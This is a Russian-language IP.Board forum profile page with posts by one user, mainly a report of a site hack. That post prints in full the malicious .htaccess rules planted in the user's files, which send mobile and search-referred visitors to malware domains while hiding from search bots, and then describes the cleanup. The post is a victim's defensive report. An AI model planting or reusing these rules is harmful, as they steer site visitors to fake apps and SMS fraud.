MasteR
-
Постов
70 -
Зарегистрирован
-
Посещение
-
Победитель дней
2
Тип контента
Профили
Загрузки
База знаний IPS Community Suite 4
База знаний IP.Board 3.x
Форумы
События
Магазин
Совместные покупки
Сообщения, опубликованные MasteR
-
-
Flouvik, во все файлы .htaccess записался этот код:
RewriteEngine on RewriteCond %{HTTP_USER_AGENT} acs [NC,OR] RewriteCond %{HTTP_USER_AGENT} alav [NC,OR] RewriteCond %{HTTP_USER_AGENT} alca [NC,OR] RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR] RewriteCond %{HTTP_USER_AGENT} audi [NC,OR] RewriteCond %{HTTP_USER_AGENT} aste [NC,OR] RewriteCond %{HTTP_USER_AGENT} avan [NC,OR] RewriteCond %{HTTP_USER_AGENT} benq [NC,OR] RewriteCond %{HTTP_USER_AGENT} bird [NC,OR] RewriteCond %{HTTP_USER_AGENT} blac [NC,OR] RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR] RewriteCond %{HTTP_USER_AGENT} brew [NC,OR] RewriteCond %{HTTP_USER_AGENT} cell [NC,OR] RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR] RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR] RewriteCond %{HTTP_USER_AGENT} dang [NC,OR] RewriteCond %{HTTP_USER_AGENT} doco [NC,OR] RewriteCond %{HTTP_USER_AGENT} eric [NC,OR] RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR] RewriteCond %{HTTP_USER_AGENT} inno [NC,OR] RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR] RewriteCond %{HTTP_USER_AGENT} java [NC,OR] RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR] RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR] RewriteCond %{HTTP_USER_AGENT} keji [NC,OR] RewriteCond %{HTTP_USER_AGENT} leno [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR] RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR] RewriteCond %{HTTP_USER_AGENT} maui [NC,OR] RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR] RewriteCond %{HTTP_USER_AGENT} midp [NC,OR] RewriteCond %{HTTP_USER_AGENT} mits [NC,OR] RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR] RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR] RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR] RewriteCond %{HTTP_USER_AGENT} moto [NC,OR] RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR] RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR] RewriteCond %{HTTP_USER_AGENT} newt [NC,OR] RewriteCond %{HTTP_USER_AGENT} noki [NC,OR] RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR] RewriteCond %{HTTP_USER_AGENT} palm [NC,OR] RewriteCond %{HTTP_USER_AGENT} pana [NC,OR] RewriteCond %{HTTP_USER_AGENT} pant [NC,OR] RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR] RewriteCond %{HTTP_USER_AGENT} phil [NC,OR] RewriteCond %{HTTP_USER_AGENT} play [NC,OR] RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR] RewriteCond %{HTTP_USER_AGENT} port [NC,OR] RewriteCond %{HTTP_USER_AGENT} prox [NC,OR] RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR] RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR] RewriteCond %{HTTP_USER_AGENT} sage [NC,OR] RewriteCond %{HTTP_USER_AGENT} sams [NC,OR] RewriteCond %{HTTP_USER_AGENT} sany [NC,OR] RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR] RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR] RewriteCond %{HTTP_USER_AGENT} send [NC,OR] RewriteCond %{HTTP_USER_AGENT} seri [NC,OR] RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR] RewriteCond %{HTTP_USER_AGENT} shar [NC,OR] RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR] RewriteCond %{HTTP_USER_AGENT} siem [NC,OR] RewriteCond %{HTTP_USER_AGENT} smal [NC,OR] RewriteCond %{HTTP_USER_AGENT} smar [NC,OR] RewriteCond %{HTTP_USER_AGENT} sony [NC,OR] RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR] RewriteCond %{HTTP_USER_AGENT} symb [NC,OR] RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR] RewriteCond %{HTTP_USER_AGENT} teli [NC,OR] RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR] RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR] RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR] RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR] RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR] RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR] RewriteCond %{HTTP_USER_AGENT} voda [NC,OR] RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR] RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR] RewriteCond %{HTTP_USER_AGENT} webc [NC,OR] RewriteCond %{HTTP_USER_AGENT} winw [NC,OR] RewriteCond %{HTTP_USER_AGENT} winw [NC,OR] RewriteCond %{HTTP_USER_AGENT} xda [NC,OR] RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR] RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR] RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR] RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR] RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR] RewriteCond %{HTTP_USER_AGENT} mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR] RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR] RewriteCond %{HTTP_USER_AGENT} midp [NC,OR] RewriteCond %{HTTP_USER_AGENT} wap [NC,OR] RewriteCond %{HTTP_USER_AGENT} phone [NC,OR] RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR] RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR] RewriteCond %{HTTP_USER_AGENT} android [NC,OR] RewriteCond %{HTTP_USER_AGENT} Android [NC,OR] RewriteCond %{HTTP_USER_AGENT} pda [NC,OR] RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR] RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR] RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR] RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR] RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR] RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR] RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR] RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC] RewriteCond %{HTTP_USER_AGENT} !bsd [NC] RewriteCond %{HTTP_USER_AGENT} !x11 [NC] RewriteCond %{HTTP_USER_AGENT} !unix [NC] RewriteCond %{HTTP_USER_AGENT} !macos [NC] RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] RewriteCond %{HTTP_USER_AGENT} !playstation [NC] RewriteCond %{HTTP_USER_AGENT} !google [NC] RewriteCond %{HTTP_USER_AGENT} !yandex [NC] RewriteCond %{HTTP_USER_AGENT} !bot [NC] RewriteCond %{HTTP_USER_AGENT} !libwww [NC] RewriteCond %{HTTP_USER_AGENT} !msn [NC] RewriteCond %{HTTP_USER_AGENT} !america [NC] RewriteCond %{HTTP_USER_AGENT} !avant [NC] RewriteCond %{HTTP_USER_AGENT} !download [NC] RewriteCond %{HTTP_USER_AGENT} !fdm [NC] RewriteCond %{HTTP_USER_AGENT} !maui [NC] RewriteCond %{HTTP_USER_AGENT} !webmoney [NC] RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC] RewriteRule ^(.*)$ __mobile-dja-1.ru/l=32411119066e0b4d035645564954534373 [L,R=302] RewriteCond %{REMOTE_ADDR} ^193\.201\.2(?:29|3[01]) [OR] RewriteCond %{REMOTE_ADDR} ^213\.243\.64 [OR] RewriteCond %{REMOTE_ADDR} ^46\.229\.1(?:28|3[234]|4[01]) [OR] RewriteCond %{REMOTE_ADDR} ^83\.149\.[12389] [OR] RewriteCond %{REMOTE_ADDR} ^83\.149\.(?:2[14]|3[4-8]|4[3-79]|5[26-9]|6[0-3]) [OR] RewriteCond %{REMOTE_ADDR} ^83\.149\.48\.[0-9] [OR] RewriteCond %{REMOTE_ADDR} ^83\.149\.48\.[1-9][0-9] [OR] RewriteCond %{REMOTE_ADDR} ^83\.149\.48\.1(?:[01][0-9]|2[0-7]) [OR] RewriteCond %{REMOTE_ADDR} ^83\.229\.224 [OR] RewriteCond %{REMOTE_ADDR} ^85\.26\.1(?:28|36|55|6[45]|8[346]|9[2-5]) [OR] RewriteCond %{REMOTE_ADDR} ^85\.26\.2(?:0[48]|1[26]|2[047-9]|3[0-5]|4[18]) [OR] RewriteCond %{REMOTE_ADDR} ^80\.83\.2(?:28|3[0-3]) [OR] RewriteCond %{REMOTE_ADDR} ^80\.83\.2(?:24|3[7-9])\.[0-9] [OR] RewriteCond %{REMOTE_ADDR} ^80\.83\.2(?:24|3[7-9])\.[1-9][0-9] [OR] RewriteCond %{REMOTE_ADDR} ^80\.83\.2(?:24|3[7-9])\.1(?:[01][0-9]|2[0-7]) [OR] RewriteCond %{REMOTE_ADDR} ^84\.17\.25[45] [OR] RewriteCond %{REMOTE_ADDR} ^95\.153\.1(?:[6-8][0-9]|9[01]) [OR] RewriteCond %{REMOTE_ADDR} ^95\.153\.25[2-5] [OR] RewriteCond %{REMOTE_ADDR} ^194\.54\.1(?:4[89]|5[01]) [OR] RewriteCond %{REMOTE_ADDR} ^213\.87 [OR] RewriteCond %{REMOTE_ADDR} ^217\.8\.2(?:2[6-9]|3[0-49]) [OR] RewriteCond %{REMOTE_ADDR} ^217\.66\.1(?:4[6-9]|5[0-26]) [OR] RewriteCond %{REMOTE_ADDR} ^217\.74\.24[47]\.1(?:2[89]|[3-9][0-9]) [OR] RewriteCond %{REMOTE_ADDR} ^217\.74\.24[47]\.2(?:[0-4][0-9]|5[0-5]) [OR] RewriteCond %{REMOTE_ADDR} ^217\.74\.2(?:4[589]|5[01]) RewriteRule ^(.*)$ __mobile-dja-1.ru/l=32411119066e0b4d035645564954534373 [L,R=302] RewriteCond %{HTTP_REFERER} (ya|yandex|google|mail|rambler|vk) [NC] RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC] RewriteRule ^(.*)$ __desktop-dja-1.ru/go/in.php?source=%{HTTP_HOST} [L,R=302]Если файла .htaccess не было, то просто создавался новый с этим содержимым. Он и перекидывал на сайт с вирусами(маскировка под приложения - opera, flash и т.д. и отправка смс без уведомления). Думаю, эта, извините за выражение херня залезла через уязвимость в движке 3.2.3(было обновление в загрузчике файлов но я его поигнорировал и получил за это), но обновился на 3.3.4 т.к. тут это обновление вшито.
-
26 ноября столкнулся с этой заразой, версия IPB была 3.2.3, перешел на IPB 3.3.4.
Сделал бекап всего сайта, скачал на комп, открыл - проверил антивирусом, нашел 3 закодированных .php файла, потом нотепадом++(Notepad++) сделал поиск по всем файлам в папке на мусор в файле .htaccess. Нашел 2+ тысячи файлов, потом просто заменил эту всю заразу на # и нажал "ок", потом, обратно в архив, на сервак и восстановил этот бекап.
(SOS34) Snow Forum 1.0.0
в Хуки, Модификации для IP.Board
Опубликовано
Хук сильно грузит браузер, так что не рекомендую ставить.